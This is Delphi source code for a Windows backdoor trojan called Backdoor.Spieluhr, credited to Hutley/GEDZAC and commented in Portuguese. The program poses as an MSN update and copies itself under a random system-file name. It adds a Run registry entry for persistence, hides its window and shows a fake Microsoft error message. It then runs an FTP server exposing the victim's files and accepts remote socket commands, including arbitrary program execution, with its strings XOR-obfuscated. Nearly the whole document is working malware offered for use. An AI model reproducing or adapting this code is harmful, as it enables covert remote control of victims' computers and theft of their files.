Backdoor.Spieluhr
by Hutley

See also the project folder

unit Unit1;
{
 Backdoor.Spieluhr

 Este backdoor foi totalmente feito por Hutley/GEDZAC.
 Projeto terminado as 12:03 - 24/Dez/2005
 -
 A idéia foi criar um backdoor que permitisse o
 acesso aos arquivos do usuário infectado.
 Isso pode ser feito por meio de um servidor FTP
 contido no programa serrvidor. Que se disfarça de MSN
 para poder se auto instalar na máquina.
 -
 Dúvida, Bugs ou Sugestões:
 www.Hutley.cjb.net
}
interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, FtpSrv, FtpSrvC, Registry, ScktComp;

type
 TForm1 = class(TForm)
  FTP: TFtpServer;
  SrvSockt: TServerSocket;
  procedure FormCreate(Sender: TObject);
  procedure FTPAuthenticate(Sender: TObject; Client: TFtpCtrlSocket;
   UserName, Password: TFtpString; var Authenticated: Boolean);
  procedure SrvSocktClientError(Sender: TObject;
   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
   var ErrorCode: Integer);
  procedure SrvSocktClientRead(Sender: TObject;
   Socket: TCustomWinSocket);
 private
  { Private declarations }
 public
  { Public declarations }
 end;
 
var
 Form1: TForm1;
 
const
 info: string = 'Win32.Backdoor.Spieluhr.Server';
 autor: string = 'Hutley / GEDZAC';
 
 // possíveis nomes de arquivo que pode assumir
 file_name: array[0..9] of string = (
  'msnupdate.exe',
  'winfog.exe',
  'winsys.exe',
  'lsass1.exe',
  'lovcx.exe',
  'winsress.exe',
  'winlog.exe',
  'winsock.exe',
  'saveruser.exe',
  'winbackup.exe');
 
 
implementation

{$R *.dfm}

// função para decodificar as strings

function code(text: string; chave: integer): string;
var lp1, p: integer;
 fuck: string;
begin
 lp1 := strlen(pchar(text));
 for p := 1 to lp1 do begin
  fuck := fuck + chr(ord(text[p]) xor chave)
 end;
 code := fuck
end;

// diretório do sistema

function SysDir: string;
begin
 SetLength(Result, MAX_PATH);
 if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then
  Result := string(PChar(Result)) + '\'
 else
  Result := '';
end;

// Escreve no Registro a Nova senha do FTPServer

procedure NovoPassword(pass: string);
var
 reg: TRegistry;
begin
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 // \SOFTWARE\MsnSpieluhr key: 050
 Reg.OpenKey(code('na}tfes`wnA\aB[W^GZ@', 050), true);
 // ftpPass key:051
 Reg.WriteString(code('UGCcR@@', 051), pass);
 Reg.CloseKey;
 Reg.Free;
end;

// Escreve no Registro o novo Login do FTPServer

procedure NovoLogin(login: string);
var
 reg: TRegistry;
begin
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 // \SOFTWARE\MsnSpieluhr key: 12
 Reg.OpenKey(code('P_CJX[M^IPAb_|ei`yd~', 12), true);
 // ftpLogin key: 15
 Reg.WriteString(code('i{C`hfa', 15), login);
 Reg.CloseKey;
 Reg.Free;
end;

// Executar por REGISTRO !

procedure ExecutaViaRegistro(nome, path: string);
var evrg: TRegistry;
begin
 evrg := TRegistry.Create;
 evrg.RootKey := HKEY_LOCAL_MACHINE;
 // SOFTWARE\Microsoft\Windows\CurrentVersion\Run KEY: 24
 evrg.OpenKey(code('KW^LOYJ]DUq{jwkw~lDOqv|wokD[mjj}vlN}jkqwvDJmv', 24), FALSE);
 evrg.WriteString(nome, path);
 evrg.Destroy;
end;

// Escreve no Registro o nova Porta do FTPServer

procedure NovaPorta(porta: integer);
var
 reg: TRegistry;
begin
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 // \SOFTWARE\MsnSpieluhr KEY: 30
 Reg.OpenKey(code('BMQXJI_L[BSmpMnw{rkvl', 30), true);
 // ftpPort KEY: 30
 Reg.WriteInteger(code('xjnNqlj', 30), porta);
 Reg.CloseKey;
 Reg.Free;
end;

// Processa os comandos recebidos pelo SOCKET

procedure RecebeComando(s: string);
var
 comando, texto: string;
begin
 // Parte a STRING em dois pedaços,
 // o COMANDO e o PARÂMETRO
 comando := Copy(s, 1, 5);
 texto := Copy(s, 6, Length(s));
 
 // npass, nlogi, exect, nport KEY: 40
 if comando = code('FXI[[', 40) then NovoPassword(texto);
 if comando = code('FDGOA', 40) then NovoLogin(texto);
 if comando = code('MPMK\', 40) then WinExec(PChar(texto), sw_ShowNormal);
 if comando = code('FXGZ\', 40) then NovaPorta(StrToInt(texto));
end;

procedure TForm1.FormCreate(Sender: TObject);
var
 reg: TRegistry;
 ftpPort, NumbName: Integer;
begin
 // Nao aparece na barra de tarefas
 SetWindowLong(Application.Handle, GWL_EXSTYLE,
  GetWindowLong(Application.Handle, GWL_EXSTYLE) or
  WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
 
 // Executado 1º Vez?
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 // \SOFTWARE\MsnSpieluhr  KEY: 45 (em tudo)
 Reg.OpenKey(code('q~bkyzlhq`^C~]DHAXE_', 45), true);
 if not (Reg.ValueExists('1?')) then
 begin
  // Coloca a String para Aparecer a Mensagem de Erro
  Reg.WriteBool('1?', true);

  // Se AUTO COPIA para a pasta SYSTEM
  // o nome do arquivo é escolhido aleatoriamente
  Randomize;
  NumbName := Random(9);
  CopyFile(PChar(Application.Exename), PChar(SysDir + file_name[NumbName]), false);

  // Depois de copiado, escreve no registro pra auto executar
  // Hutley-Spieluhr - key: 20
  ExecutaViaRegistro(code('\a`xqm9Gd}qxa|f', 20), SysDir + file_name[NumbName]);

  // Login/Pass para o FTPServer
  // ftpLogin, hutleyvx - key: 21
  Reg.WriteString(code('saeYzr|{', 21), code('}`ayplcm', 21));
  // ftpPass - key: 21, 123456 - key: 23
  Reg.WriteString(code('saeEtff', 21), code('&%$#"!', 23));
  // ftpPort, 25 - key: 23
  Reg.WriteInteger(code ('qcgGxec', 23), StrToInt(Code('%"', 23)));

  // Msg de Erro. Só aparece na 1º execução
  // Error, contact the Microsoft support! - key: 23
  // Error #6985 - key: 25
  Application.MessageBox(PChar(code('Reexe;7txycvtc7cr7Z~texdxqc7dbggxec6', 23)), PChar(code('\kkvk9:/ !,', 25)), mb_ok + mb_IconError);
 end else
 begin
  // ftpPort key: 26
  ftpPort := Reg.ReadInteger(code('|njJuhn', 26));
  Reg.CloseKey;
  Reg.Free;
 end;
 
 // Inicia o FTP Server e o Socket Servidor
 if ftp.Active = false then
 begin
  FTP.Port := IntToStr(FTPPort);
  FTP.Start;
 end;
 if srvsockt.Active = false then srvsockt.Open;
 
 // Some com o FORM da tela
 with form1 do
 begin
  left := 0;
  top := 1000000;
  Height := 0;
  Width := 0;
 end;
end;

procedure TForm1.FTPAuthenticate(Sender: TObject; Client: TFtpCtrlSocket;
 UserName, Password: TFtpString; var Authenticated: Boolean);
var
 Reg: TRegistry;
 ftpLogin, ftpPass: string;
begin
 Authenticated := false;
 
 // Lê no Registro Login/Senha para autenticação do FTPServer
 Reg := TRegistry.Create;
 Reg.RootKey := HKEY_LOCAL_MACHINE;
 // \SOFTWARE\MsnSpieluhr - key: 26
 Reg.OpenKey(code('FIU\NM[H_FWitIjsvorh', 26), true);
 // ftpLogin - key: 27
 ftpLogin := Reg.ReadString(code('}okWt|ru', 27));
 // ftpPass - key: 27
 ftpPass := Reg.ReadString(code('}okKzhh', 27));
 Reg.CloseKey;
 Reg.Free;
 
 // Verifica se é igual ao Recebido
 if (UserName = ftpLogin) and (Password = ftpPass)
  then Authenticated := true else Authenticated := false;
end;

procedure TForm1.SrvSocktClientError(Sender: TObject;
 Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
 var ErrorCode: Integer);
begin
 ErrorCode := 0;
end;

procedure TForm1.SrvSocktClientRead(Sender: TObject;
 Socket: TCustomWinSocket);
begin
 RecebeComando(Socket.ReceiveText);
end;

end.